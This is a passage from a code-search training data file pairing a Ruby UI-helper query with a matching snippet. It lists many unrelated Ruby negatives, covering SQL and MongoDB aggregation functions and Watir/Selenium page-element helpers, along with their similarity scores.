existing_clients.where(new_money: true).sum(:first_year_comp)\nend", "def score_aggregate_node( node, normalized, z_score = true )\n aggregation = Hash.new\n case node['operation']\n when 'SUM'\n aggregation = sum_aggregation( node, normalized )\n when 'DIVIDE'\n aggregation = divide_aggregation( node, normalized )\n when 'DIFFERENCE'\n aggregation = subtract_aggregation( node, normalized )\n when 'MULTIPLY'\n aggregation = multiply_aggregation( node, normalized )\n end\n if z_score\n z_scores = z_score(aggregation)\n normalized.keys.each do |key|\n normalized[key][node['id']] = node['weight'] * z_scores[key]\n end\n normalized\n else\n aggregation\n end\n end", "def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n \"SELECT projects.title, Sum(pledges.amount)\nfrom projects inner join pledges\nOn pledges.project_id = projects.id\ngroup by projects.title\"\nend", "def calculate(operation, column_name)\n operation = operation.to_s.downcase\n\n if @none\n case operation\n when \"count\", \"sum\"\n result = group_values.any? ? Hash.new : 0\n return @async ? Promise::Complete.new(result) : result\n when \"average\", \"minimum\", \"maximum\"\n result = group_values.any? ? Hash.new : nil\n return @async ? Promise::Complete.new(result) : result\n end\n end\n\n if has_include?(column_name)\n relation = apply_join_dependency\n\n if operation == \"count\"\n unless distinct_value || distinct_select?(column_name || select_for_count)\n relation.distinct!\n relation.select_values = [ klass.primary_key || table[Arel.star] ]\n end\n # PostgreSQL: ORDER BY expressions must appear in SELECT list when using DISTINCT\n relation.order_values = [] if group_values.empty?\n end\n\n relation.calculate(operation, column_name)\n else\n perform_calculation(operation, column_name)\n end\n end", "def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT title , SUM(amount) FROM pledges, projects WHERE pledges.project_id = projects.id GROUP BY(title);\"\nend", "def group_by\n end", "def filter_agg(field:, value:, &block)\r\n agg = { agg: { filter: { term: { field => value } } } }\r\n base_agg(agg, block)\r\n end", "def get_a_product_no_service_normalPv_delayPv(db,collection_name,product,service_not,from,to,one)\n collection = db.collection(collection_name)\n in_or_not = one == true ? \"$in\":\"$nin\"\n selector = [{\"$match\" => {\"product\" => product,\n \"service\" => { in_or_not => service_not},\n \"date_time\" => {\"$gte\" => from, \"$lt\" => to }}},\n {\"$group\" => {\"_id\" => \"$product\" ,\n \"normalPv\" => {\"$sum\" => \"$normalPv\"},\n \"delayPv\" => { \"$sum\" => \"$delayPv\" }}}]\n show_info \"function_name: get_a_product_no_service_normalPv_delayPv\"\n show_info \"selector:\\n#{selector}\"\n aggr_result = collection.aggregate(selector, {\"allowDiskUse\" => true})\n show_info \"result:\\n#{aggr_result.join(\"\\n\")}\"\n show_info \"\\n\"\n return aggr_result\n end", "def get_aggregate aggregate_query\n ensure_not_closed!\n ensure_service!\n\n return enum_for :get_aggregate, aggregate_query unless block_given?\n\n results = service.run_aggregate_query aggregate_query.parent_path,\n aggregate_query.to_grpc,\n transaction: transaction_or_create\n results.each do |result|\n extract_transaction_from_result! result\n next if result.result.nil?\n yield AggregateQuerySnapshot.from_run_aggregate_query_response result\n end\n end", "def to_sql\n \"\n SELECT row_to_json(fc)\n FROM ( SELECT 'FeatureCollection' AS type, array_to_json(array_agg(f)) AS features\n FROM ( SELECT 'Feature' AS type\n , ST_AsGeoJSON(subquery.geom)::json AS geometry\n , row_to_json(\n (SELECT l FROM (SELECT id, geoid) AS l)\n ) AS properties\n\n FROM (\n SELECT\n ct.id,\n ct.geom,\n ct.geoid,\n ST_Area(ST_SetSRID(geom,4326)) as d,\n ST_Area(\n ST_Intersection(\n ST_SetSRID( ST_GeomFromGeoJSON('#{ @geojson }'), 4326),\n ST_SetSRID(geom,4326)\n )\n ) as n\n FROM census_tracts_2010 AS ct\n WHERE\n ST_Intersects(\n ST_SetSRID(geom,4326),\n ST_SetSRID( ST_GeomFromGeoJSON('#{ @geojson }'), 4326)\n )\n ) subquery\n WHERE (n/d*100) >= 15\n\n\n ) AS f\n ) AS fc;\n \"\n end", "def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n sql = <<-SQL\n SELECT projects.title, SUM(pledges.amount) FROM projects JOIN pledges ON pledges.project_id = projects.id GROUP BY projects.title;\n SQL\n\nend", "def process_aggregates\n aggregates = new_collection\n\n unless assessment_group.scoring_type == 2 # do except for scoring type 'grades'\n aggregates.push new_aggregate('score','Total Score',@total_score)\n percentage = @total_score.zero? ? nil : ((@total_score / @total_max) * 100).round(2)\n aggregates.push new_aggregate('percentage','Total Percentage', percentage)\n aggregates.push new_aggregate('grade','Overall Grade',overall_grade_set.grade_string_for(percentage)) if overall_grade_set.present?\n end\n\n aggregates\n end", "def group_with_builtin(coll)\n puts \"Grouping by 'Make' (built-in)\"\n coll.group({\n :key => [:Make],\n :initial => {:crashes => 0},\n :reduce => 'function(doc, prev) {prev.crashes += 1;}'\n })\nend", "def keyValuePairByAggQryDiscount(aggregateQuery, bookingColl)\n aggregateCursor = bookingColl.aggregate(aggregateQuery)\n keyArray = []; valueArray = []; valueArray2 = []; valueArray3 = []; returnObj = {}\n aggregateCursor.each do |doc|\n keyArray << doc[:_id]; valueArray << (calculateDiscount(doc[:booking], doc[:base_list]))\n valueArray2 << doc[:booking]; valueArray3 << doc[:base_list];\n end\n returnObj = {\n :key => keyArray,\n :value => valueArray,\n :value2 => valueArray2,\n :value3 => valueArray3,\n }\n return returnObj\n end", "def aggregator(agg = nil, opts = EMPTY_HASH)\n @aggregator = if agg.nil? && !defined?(@aggregator)\n Aggregators.default\n elsif agg.respond_to?(:new)\n agg.new(filter: filter, **opts)\n elsif agg\n Aggregators.resolve(agg, filter: filter, **opts)\n else\n @aggregator\n end\n end" ]
[ "0.71016634", "0.709663", "0.68281054", "0.6797009", "0.67561626", "0.6698071", "0.6639238", "0.65070856", "0.6394741", "0.62502927", "0.62177354", "0.6209646", "0.6192367", "0.61751014", "0.6126116", "0.60580623", "0.6033101", "0.60283643", "0.5993157", "0.59924835", "0.5990634", "0.59851205", "0.5947211", "0.59461623", "0.59226644", "0.5910648", "0.58947927", "0.5862802", "0.5846778", "0.58204764", "0.5801639", "0.578459", "0.57438403", "0.57401544", "0.57150584", "0.5710247", "0.56623644", "0.5645264", "0.5615338", "0.5597552", "0.55790305", "0.5566535", "0.5557689", "0.5541599", "0.5502503", "0.5501654", "0.55000824", "0.54845643", "0.547624", "0.5475045", "0.54716986", "0.5462993", "0.54580826", "0.5449144", "0.5435496", "0.5412404", "0.5411383", "0.5394123", "0.53835404", "0.5376603", "0.5363076", "0.5360319", "0.5355847", "0.53363913", "0.5332613", "0.532027", "0.53136295", "0.53125644", "0.5290668", "0.5289769", "0.526613", "0.5261556", "0.5240741", "0.5236994", "0.5228923", "0.52263737", "0.5224501", "0.52175903", "0.5214146", "0.5211649", "0.5210618", "0.52101237", "0.5209497", "0.5207442", "0.51995236", "0.51934344", "0.51870304", "0.5185882", "0.5184295", "0.5183855", "0.5176914", "0.5174959", "0.5174711", "0.51672006", "0.5162085", "0.51525736", "0.515217", "0.5151483", "0.51474315", "0.5141846", "0.51400256" ]
0.0
-1
=begin def PhoneNumberConfirmedButton " id:'settings_text_phone_number_confirmed'" Visible if text is not empty =end
def aboutButton "* marked:'About'" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def submit_number\n content_tag(\"strong\", configatron.incoming_sms_number.blank? ? \"[\" + t(\"sms_form.guide.unknown_number\") + \"]\" : configatron.incoming_sms_number)\n end", "def validar_home\n find(@@btn_verMais).displayed?\n end", "def confirmation_text\n frm.div(:class=>\"portletBody\").div(:class=>\"success\").text\n end", "def confirmation_text\n frm.div(:class=>\"portletBody\").div(:class=>\"success\").text\n end", "def fill_in_blank_answer(answer, blank_number)\n index = blank_number.to_i-1\n frm.text_field(:name=>/deliverFillInTheBlank:_id.+:#{index}/).value=answer\n end", "def sign_up_button_should_not_be_visible\n\n page.should_not have_text(SIGN_UP_BUTTON_TEXT)\n\n end", "def set_btn_name\n !(@target =~ /invoice/i).nil? ? 'Next' : 'Save'\n end", "def confirm text, config={}, &block\n title = config['title'] || \"Confirm\"\n config[:default_button] ||= 0\n\n mb = Canis::MessageBox.new config do\n title title\n message text, &block \n button_type :yes_no\n end\n index = mb.run\n return index == 0\nend", "def js_value_settle\n %Q{\n if ($('#{dom_id(:operator)}').value=='blank') {\n $('#{dom_id(:value_div)}').hide();\n }\n else {\n $('#{dom_id(:value_div)}').show();\n }\n }\n end", "def set_inspection_carton\n return if authorise_for_web(program_name?, 'ppecb_set_insp_ctn') == false\n render :inline => %{\n\t\t<% @content_header_caption = \"'please enter carton number'\"%>\n\n\t\t<%= build_get_carton_number_form('set_inspection_carton_submit')%>\n\n\t\t}, :layout => 'content'\n\n end", "def crushyfield_required; \"<span class='crushyfield-required'> *</span>\"; end", "def short_answer(answer)\n frm.text_field(:name=>/deliverShortAnswer/).value=answer\n end", "def forgot_you_password__after_submit\n @dr.h4(:id,'modal-notifymessage-title')\n end", "def javascript_for_miq_button_visibility(display, prefix = nil)\n if prefix\n \"miqButtons('#{display ? 'show' : 'hide'}', '#{prefix}');\".html_safe\n else\n \"miqButtons('#{display ? 'show' : 'hide'}');\".html_safe\n end\n end", "def check_phone_no_format\n is_valid = Spree::Address.is_phone_valid?(@phone)\n render text: is_valid\n end", "def visible?\n !code.blank? && !spam\n end", "def chkout_order_confirmation_number_label\n $tracer.trace(__method__)\n return ToolTag.new(jquery(\".ats-orderconfirmnumber\"), __method__, self)\n end", "def show_baptized_at_home_parish_radio\n true\n end", "def true_false_rationale(text)\n frm.text_field(:name=>/:deliverTrueFalse:rationale/).value=text\n end", "def confirm_existing_address()\n $tracer.trace(\"GameStopMobileDSL : #{__method__}, Line : #{__LINE__}\")\n chkout_select_existing_address.should_exist\n existing_address= chkout_select_existing_address.inner_text\n # innerText.should != \"\"\n existing_address.should match(\"Review\")\n end", "def order_confirmation_number_label\n $tracer.trace(__method__)\n #unit_test_no_generate: order_confirmation_number_label, jquery(\"ats-orderconfirmnumber\")\n return ToolTag.new(jquery(\".ats-orderconfirmnumber\"), __method__, self)\n end", "def set_text field_label, field_value\n #field_id = self.full_content_element.html.match(/for=\".+\">#{field_label}/).to_s.sub('for=\"','').sub(\">#{field_label}\",'').chop\n field_id = self.html.match(/for=\".+\">#{field_label}/).to_s.sub('for=\"','').sub(\">#{field_label}\",'').chop\n self.execute_script(\"document.getElementById('\" + field_id + \"').value = '\" + field_value + \"';\")\n end", "def mixed_pallet_criteria\n render :inline => %{\n\t\t<% @content_header_caption = \"'please enter pallet number'\"%>\n\n\t\t<%= build_get_pallet_number_form()%>\n\n\t\t}, :layout => 'content'\n\n end", "def phone_pending_confirmation?\n self.unconfirmed_phone_number.present? && self.errors[:unconfirmed_phone_number].empty?\n end", "def verify_alt_button_text (text)\n wait_for_element_exists(\"UIButtonLabel text:'#{text}'\")\n end", "def enable_input_box\n summary_widget.hide\n hc_pomodoro_input_box.setHidden(false)\n hc_pomodoro_input_box.text = @pomodori_controller.last_tags.join(\" \") + \" \"\n end", "def chkout_phone_number_field\n $tracer.trace(__method__)\n #unit_test_no_generate: chkout_phone_number_field, input.className(create_ats_regex_string(\"ats-phonefield\"))\n return ToolTag.new(input.className(create_ats_regex_string(\"ats-phonefield\")), __method__, self)\n end", "def si_check button_id, the_script\n return \"checkSalesInterfaceForFunction(#{button_id}, function() {#{the_script}});\"\n end", "def confirm_payment_number_label\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.span.id(create_ats_regex_string(\"CreditCardNumberLabel\")), format_method(__method__))\n end", "def receive_carton\n\n render :inline => %{\n\t\t<% @content_header_caption = \"'receive reworks items'\"%>\n\n\t\t<%= build_receive_item_form(\"receive_carton_submit\",\"receive\",\"carton_number\")%>\n <script>\n\t\t document.getElementById('received_item_carton_number').focus();\n\t\t</script>\n\n\t\t}, :layout => 'content'\n\n end", "def mgs_chkout_phone_number_field\n\t\t$tracer.trace(__method__)\n\t\treturn ToolTag.new(input.className(create_ats_regex_string(\"ats-phonefield\")), __method__)\n\tend", "def chkout_billing_confirm_email_address_field\n $tracer.trace(__method__)\n #unit_test_no_generate: chkout_billing_confirm_email_address_field, input.id(\"/BillTo_ConfirmEmailAddress/\")\n return ToolTag.new(input.id(\"/BillTo_ConfirmEmailAddress/\"), __method__, self)\n #return ToolTag.new(input.className(create_ats_regex_string(\"ats-confirmemailfield\")), __method__, self)\n end", "def click_yes_js_popup(title)\n click_button_popup(title, \"&Yes\")\nend", "def js_value_settle\n %Q{\n if ($('#{dom_id(:operator)}').value=='blank') {\n $('#{dom_id(:value_div)}').hide();\n }\n else {\n $('#{dom_id(:value_div)}').show();\n if ($('#{dom_id(:operator)}').value=='between') {\n $('#{dom_id(:extra)}').show();\n }\n else {\n $('#{dom_id(:extra)}').hide();\n }\n }\n }\n end", "def check_sign_up_button\n\n #page.should have_button(SIGN_UP_BUTTON)\n page.should have_text(SIGN_UP_BUTTON_TEXT)\n\n end", "def form_display_text\n\t\t\tdisplay_text\n\t\tend", "def home_phone_prompt_label\n # unit_test_no_generate: home_phone_prompt_label, span.className(create_ats_regex_string(\"ats-homephonelbl\"))\n $tracer.trace(__method__)\n return ToolTag.new(span.className(create_ats_regex_string(\"ats-homephonelbl\")), __method__)\n end", "def is_text_present(ele)\n $log.info \"verifying #{ele} present or not\"\n if s=$browser.button(:id, \"#{ele}\").exists?\n $log.info \"{ele} available on the page\"\n elsif\n $log.info \"failed to find the element: #{ele}!\"\n raise Exception.new(\"Failed to find the element: #{ele}!\")\n end\n \nend", "def max_number_confirm_button\n\t\t$tracer.trace(format_method(__method__))\n\t\treturn ToolTag.new(@tag.find.button.className(create_ats_regex_string(\"ats-maxnumconfirmbtn\")), format_method(__method__))\n\tend", "def modal_confirm_email_field\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.input.className(create_ats_regex_string(\"ats-confirmemailaddrfield\")), format_method(__method__))\n end", "def click_yes_to_all_js_popup(title)\n click_button_popup(title, \"Yes To &All\")\nend", "def chkout_confirm_email_address_field\n $tracer.trace(__method__)\n #unit_test_no_generate: chkout_confirm_email_address_field, input.id(\"/ShipTo_ConfirmEmailAddress/\")\n return ToolTag.new(input.id(\"/ShipTo_ConfirmEmailAddress/\"), __method__, self)\n #return ToolTag.new(input.className(create_ats_regex_string(\"ats-confirmemailfield\")), __method__, self)\n end", "def required_label_text; end", "def login_button_should_not_be_visible\n\n page.should_not have_text(LOGIN_BUTTON_TEXT)\n\n end", "def want_to_get_involved_modal_is_opened\n\n check_if_the_text_is_displayed_on_want_to_get_involved\n check_sign_up_button\n check_login_button\n\nend", "def has_preppend_input_text?\n has_preppend_input_text.present?\n end", "def hint_text\n return '' unless @field_config[:hint]\n\n <<~HTML\n <div style=\"display:none\" data-cb-hint=\"#{@page_config.name}_#{@field_name}\">\n #{@field_config[:hint]}\n </div>\n HTML\n end", "def order_confirmation_number_label\n $tracer.trace(__method__)\n #unit_test_no_generate: order_confirmation_number_label, section.className(\"order_confirm_text\").strong\n return ToolTag.new(section.className(\"order_confirm_text\").strong, __method__, self)\n end", "def input_text_montant\n \"\".in_input_text(class:'medium', name:'facture[montant_amount]', id:'facture_montant_amount')\nend", "def click_no_js_popup(title)\n click_button_popup(title, \"&No\")\nend", "def required_field\n\t\tcontent_tag :span, \"**\", class: \"required_field\"\n\tend", "def required_field\n\t\tcontent_tag :span, \"**\", class: \"required_field\"\n\tend", "def comment_in_first_box=(comment)\n frm.text_field(:name=>\"editTotalResults:totalScoreTable:0:_id345\").value=comment\n end", "def user_has_phone_if_notify\n if user_notification != \"Do not notify\" && (user.phone_number == \"\" || user.phone_number == nil)\n errors.add :user_notification, \"requires that you provide a phone number under the \\\"Edit Account\\\" page.\"\n end\n end", "def new_app_btn_display?\r\n make_sure_apps_page unless @driver.current_url =~ /.*apps.*/\r\n style = new_app_locator(:new_app_btn).attribute(\"style\")\r\n puts \"------style---> #{style} <-------------\"\r\n if style.chomp.include?(\"display: none;\")\r\n sleep 5\r\n puts \"+ <action> new_app_btn_display? NO\"\r\n return false\r\n end\r\n sleep 5\r\n puts \"+ <action> new_app_btn_display? YES\"\r\n return true\r\n end", "def phone_required_label\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.span.id(\"/PhoneRequiredValidator$/\"), format_method(__method__))\n end", "def check_if_joined_button_is_visible\n\n page.should have_selector(JOINED_BUTTON_FANZONE_VIEW)\n\n end", "def set_phone_number_field(phone_number)\n @chrome_driver.find_element(:id, PHONE_NUMBER_FIELDS).send_keys(phone_number)\n end", "def set_phone_number_field(phone_number)\n @chrome_driver.find_element(:id, PHONE_NUMBER_FIELDS).send_keys(phone_number)\n sleep 1\n\n end", "def e_textfields\n execute_script textfield_js\n end", "def close_fee_popup\n if self.btnOK_element.present?\n self.btnOK_element.when_present.click\n end\n end", "def confirm?(text='')\n return self.run_cmd('confirm ' + text) == 0\n end", "def set_phone_number_field(phone_number)\n @chrome_driver.find_element(:id, PHONE_NUMBER_FIELDS).send_keys(phone_number)\n end", "def vehicle_value_button_text(text)\n span(xpath: \".//p-selectbutton/.//span[contains(text(), '#{text}')]\")\n end", "def radio_button; end", "def pending_referral_note\n # pending? ? h.content_tag(:h5, I18n.t('pending_referral_note', max: User::ACCEPTED_INVITATION_LIMIT, scope: 'devise.registrations.edit').html_safe, class: 'text-danger') : ''\n end", "def select button\n if button.is_a? String\n ;\n else\n button = button.value\n end\n set_value button\n end", "def empty_placeholder(title: \"\", subtitle: \"\", link_visible: false, link_text: \"\", href: \"\", remote: false)\n title = title.empty? ? \"Nothing to see here\" : title\n content_tag(:div, class: \"text-center\") do\n concat(content_tag(:div, class: \"mg-b-25 mg-xxl-b-50\") do\n concat(inline_svg_tag(\"empty.svg\", class: \"\"))\n end)\n concat(content_tag(:p, title, class: \"h6 font-weight-bold mg-b-20 mg-xxl-b-35\"))\n concat(content_tag(:p, subtitle, class: \"mg-b-25 mg-xxl-b-50\"))\n if link_visible\n concat(content_tag(:center) do\n if remote\n button_to(link_text, href, method: :get, remote: remote, class: \"btn btn-primary btn-sm font-weight-bold justify-content-center\", data: {disable_with: link_text})\n else\n link_to(link_text, href, remote: remote, class: \"btn btn-primary btn-sm font-weight-bold justify-content-center\")\n end\n end)\n end\n end\n end", "def continue_shopping\n self.lnkContinueShopping_element.when_present(30).click\n end", "def initially_hide_button\n @hidden_submit = true\n end", "def required_field\n content_tag :span, \"**\", class: \"required_field\"\n end", "def seat_popup_ok\n get_elem_and_click(:xpath, \"//*[contains(text(), 'Ok, thanks')]\")\n end", "def empty_equation_field(equation_dom_element, del_dom_element)\n if equation_dom_element.text.empty?\n puts equation_dom_element.text\n else\n flash_and_ensure_click(del_dom_element)\n empty_equation_field(equation_dom_element, del_dom_element)\n end\nend", "def hf_show_email_selector? ra\n show_fname?(ra, :pk_fieldname) && ra.pk_enum.size > 1 # Excluding [\"All\", '']\n end", "def set_Phone(value)\n set_input(\"Phone\", value)\n end", "def click_continue_button\n click_button(@continue_button_text)\n end", "def login_button\n \"UIButtonLabel text:'Login'\"\n end", "def form_submit_button; @form_submit_button ||= 'Soumettre le quiz' end", "def new_bank_js_link(input_element_id)\n %Q{\n var bank_name = $('##{input_element_id}').val();\n if(bank_name != ''){\n window.location.href = '#{new_financial_inst_url}?name=' + encodeURIComponent(bank_name);\n } else {\n alert('Try typing in the first few letters of your bank or credit card. If you don\\\\'t see it, then click this link to add it.');\n }\n }.gsub(/[\\s]+/m, \" \")\n end", "def confirm_email_address_field\n $tracer.trace(__method__)\n #unit_test_no_generate: confirm_email_address_field, input.id(\"EmailConfirm\")\n return ToolTag.new(input.id(\"EmailConfirm\"), __method__, self)\n end", "def pending_contacts\n active_div.div(:id=>\"contacts_invited\")\n end", "def button_contents\n return if helpers.controller.blacklight_config.bootstrap_version == 5\n\n tag.span '&times;'.html_safe, aria: { hidden: true }\n end", "def initial_element_visibility(cond, choice_question, *answer_types)\n \treturn \"style='display: none'\" unless cond || answer_types.include?(choice_question.answer_type)\n end", "def textfield_include text\n js = %Q(\n var t = au.getElementsByXpath('textfield[contains(@text, \"#{text}\")]').value;\n var s = au.getElementsByXpath('secure[contains(@text, \"#{text}\")]').value;\n t.concat(s)[0];\n )\n\n execute_script js\n end", "def loginSubmitBtn\n @dr.button(:id,'loginSubmitBtn')\n end", "def has_text?; end", "def click_on_free_trial\n\t\t\tself.free_trial_button\n\t\tend", "def toggle_default_address\n self.address.default_address = !self.default_address\n self.outlets[\"default_address_button\"].setBackgroundColor(UIColor.colorWithPatternImage(UIImage.imageNamed(\"images/checkbox#{accepts_terms ? \"-checked\" : \"\"}.png\")), forState: UIControlStateNormal) \n end", "def on_status_ok\n @slot_window.activate.select(0)\n set_controls_help\n end", "def button(button_text)\n element(damballa(button_text+\"_button\")) { |b| b.button(:value=>button_text) }\n action(damballa(button_text)) { |b| b.button(:value=>button_text).click }\n end", "def bouton_calculer\n onclick = \"$.proxy(Facture,'calculer')();return false;\"\n Facture::button_name_calculer.in_a(href:\"\", id:\"btn_calcul_montant_amount\", onclick:onclick, class:'btn small', style:'vertical-align:top')\nend", "def confirm_placement\n end", "def edit_comment\n self.button(:text=>\"Edit comment\").click\n wait_for_ajax(2) #wait_until { self.textarea(:title=>\"Edit your comment\").present? == false }\n end", "def edit_field_display_settings(fieldname, prefix_text = nil, suffix_text = nil, size_text = nil, rows_length = nil, cols_width = nil, collapsed = true, collapsible = true)\n wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n Log.logger.info(\"Waiting for label with name #{fieldname.inspect}.\")\n wait.until { @browser.find_element(:xpath => @webformmgr.fieldset_label(fieldname)) }.click\n self.expand_field_to_edit(@webformmgr.display_link, @webformmgr.expanded_display)\n if(@browser.find_elements(:xpath => @webformmgr.collapsible_chkbox).size > 0)\n self.edit_fieldset_display_settings(fieldname, collapsed, collapsible)\n else\n if(prefix_text != nil)\n # self.click_checkbox(@webformmgr.prefix_chkbox)\n Log.logger.info(\"Changing Prefix Text to '#{prefix_text}'.\")\n self.open_text_field(@webformmgr.edit_prefix)\n self.type_text(@webformmgr.edit_prefix, prefix_text)\n JQuery.wait_for_events_to_finish(@browser)\n Log.logger.info(\"Waiting for a span that contains our prefix test ('#{prefix_text}').\")\n wait.until { @browser.find_element(:xpath => \"//span[contains(@class, 'field-prefix') and text()='#{prefix_text}']\") }\n end\n if(suffix_text != nil)\n Log.logger.info(\"Changing Suffix Text to '#{suffix_text}'.\")\n #self.click_checkbox(@webformmgr.suffix_chkbox)\n self.open_text_field(@webformmgr.edit_suffix)\n JQuery.wait_for_events_to_finish(@browser)\n self.type_text(@webformmgr.edit_suffix, suffix_text)\n Log.logger.info(\"Waiting for a span that contains our suffixtest ('#{suffix_text}').\")\n wait.until { @browser.find_element(:xpath => \"//span[contains(@class, 'field-suffix') and text()='#{suffix_text}']\") }\n end\n if(size_text != nil)\n Log.logger.info(\"Changing Size to '#{size_text}'.\")\n #self.click_checkbox(@webformmgr.size_chkbox)\n self.open_text_field(@webformmgr.edit_size)\n JQuery.wait_for_events_to_finish(@browser)\n self.type_text(@webformmgr.edit_size, size_text)\n Log.logger.info(\"Waiting for input that is our new Size ('#{size_text}').\")\n wait.until { @browser.find_element(:xpath => \"//input[contains(@id, 'edit-new-') and @size='#{size_text}']\") }\n end\n if(rows_length != nil) # Must be positive integer value\n Log.logger.info(\"Changing Rows Length to '#{rows_length}'.\")\n #self.click_checkbox(@webformmgr.rows_chkbox)\n self.type_text(@webformmgr.edit_rows, rows_length)\n JQuery.wait_for_events_to_finish(@browser)\n Log.logger.info(\"Waiting for textarea that is our new length ('#{rows_length}').\")\n wait.until { @browser.find_element(:xpath => \"//textarea[@rows='#{rows_length}']\") }\n end\n if(cols_width != nil) # Must be positive integer value\n Log.logger.info(\"Changing Columns Width to '#{cols_width}'.\")\n #self.click_checkbox(@webformmgr.cols_chkbox)\n self.type_text(@webformmgr.edit_cols, cols_width)\n JQuery.wait_for_events_to_finish(@browser)\n Log.logger.info(\"Waiting for textarea that is our new width ('#{cols_width}').\")\n wait.until { @browser.find_element(:xpath => \"//textarea[@cols='#{cols_width}']\") }\n end\n end\n end", "def confirm_email_address_hops_field\n $tracer.trace(__method__)\n #unit_test_no_generate: confirm_email_address_hops_field, input.className(create_ats_regex_string(\"ats-emailconfirm\"))\n return ToolTag.new(input.className(create_ats_regex_string(\"ats-emailconfirm\")), __method__, self)\n end", "def text_field; end", "def set_ShowUser(value)\n set_input(\"ShowUser\", value)\n end", "def atu_button()\n if $kx_model==2 and ($kx_atu or $kx_extatu)\n button_tap(20)\n elsif $kx_model==3 and ($kx_atu or $kx_extatu)\n button_tap(44)\n else\n return(nil)\n end\n return(true)\nend", "def inactivate_form\n inactivate_page_btn = buttons.detect { |item| item.text == 'Inactivate Page' }\n if inactivate_page_btn\n inactivate_page_btn.click\n else\n raise 'Inactivate Page button is not available on the page.'\n end\n end", "def manual_partner_confirmed?\n visit customer_orders_path\n expect(page).to have_content('ๅˆ›ๅปบไบŽ')\n end", "def select_show\n frm.radio(:id=>\"hidden_false\").set\n end" ]
[ "0.5954993", "0.5712688", "0.5707709", "0.5707709", "0.5629218", "0.5530923", "0.54843396", "0.54810303", "0.5454336", "0.54094917", "0.5401517", "0.53895384", "0.53320307", "0.53223765", "0.5309895", "0.5284729", "0.5268197", "0.5259942", "0.5255448", "0.52539283", "0.5241758", "0.5209226", "0.52055377", "0.5193707", "0.51890904", "0.5168432", "0.51678205", "0.51464146", "0.5140879", "0.512871", "0.5124411", "0.5122743", "0.5108525", "0.50914466", "0.50909567", "0.5089441", "0.50876987", "0.50860035", "0.50840485", "0.5077403", "0.50773454", "0.5076515", "0.50720227", "0.5071773", "0.5066329", "0.5049417", "0.50437105", "0.50391114", "0.50292873", "0.50265217", "0.5024692", "0.5024692", "0.50152755", "0.5009901", "0.5009402", "0.50062793", "0.49967036", "0.49954134", "0.4992073", "0.4991052", "0.49877352", "0.49810535", "0.49756765", "0.49755532", "0.49718803", "0.4969438", "0.49651417", "0.49640158", "0.49598962", "0.49493378", "0.49463677", "0.49430865", "0.4932203", "0.49309468", "0.49287808", "0.49112135", "0.49099973", "0.49027222", "0.4899409", "0.48961958", "0.48838177", "0.4878383", "0.4876325", "0.48722035", "0.4868977", "0.48687062", "0.4865445", "0.4855241", "0.48546132", "0.48501107", "0.4848919", "0.48481384", "0.4840129", "0.4840091", "0.48394215", "0.48390254", "0.48351282", "0.483299", "0.48277456", "0.48249334", "0.48223627" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_inspection @inspection = Inspection.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n 